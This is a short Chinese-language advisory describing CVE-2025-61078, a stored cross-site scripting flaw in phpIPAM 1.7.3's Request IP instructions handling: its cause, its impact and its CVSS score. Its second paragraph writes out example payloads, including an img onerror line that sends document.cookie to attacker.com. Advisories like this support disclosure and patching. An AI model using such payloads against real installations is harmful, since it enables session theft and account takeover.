CVE-2025-61078CVE-2025-61078是phpIPAM v1.7.3版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞位于Request IP功能的表单处理模块中,具体攻击向量为instructions参数。攻击者可以通过向/app/admin/instructions/edit-result.php端点提交特制的恶意JavaScript代码或HTML标签,当其他用户访问或管理该内容时,恶意代码将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。phpIPAM是一款开源的IP地址管理应用程序,广泛应用于企业网络环境中用于管理IP地址分配、子网划分等任务。由于该应用通常需要管理员权限访问后台功能,因此此XSS漏洞可能对整个IP管理基础设施造成安全威胁。攻击者利用此漏洞可以在管理员不知情的情况下获取敏感信息或提升其在系统中的权限。该漏洞的CVSS评分为6.1,属于中等严重程度,主要因为其需要用户交互才能触发攻击。
该漏洞属于存储型XSS(Stored XSS)漏洞,攻击者提交的恶意载荷会被永久存储在服务器端。漏洞产生的根本原因在于phpIPAM应用对用户输入的instructions参数缺乏充分的输入验证和输出编码。在/app/admin/instructions/edit-result.php文件中,应用程序直接将用户提交的instructions参数值存入数据库,随后在管理界面展示时未进行适当的HTML转义处理。当管理员查看Request IP表单的相关内容时,浏览器会解析并执行存储的恶意脚本代码。攻击者可以利用此漏洞构造如下攻击载荷:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于phpIPAM的管理后台通常包含敏感操作如IP地址分配、设备配置等,攻击者成功利用此漏洞后可窃取管理员会话令牌,进而在目标系统中执行更高级别的攻击行为,如修改IP分配记录或获取网络基础设施的访问权限。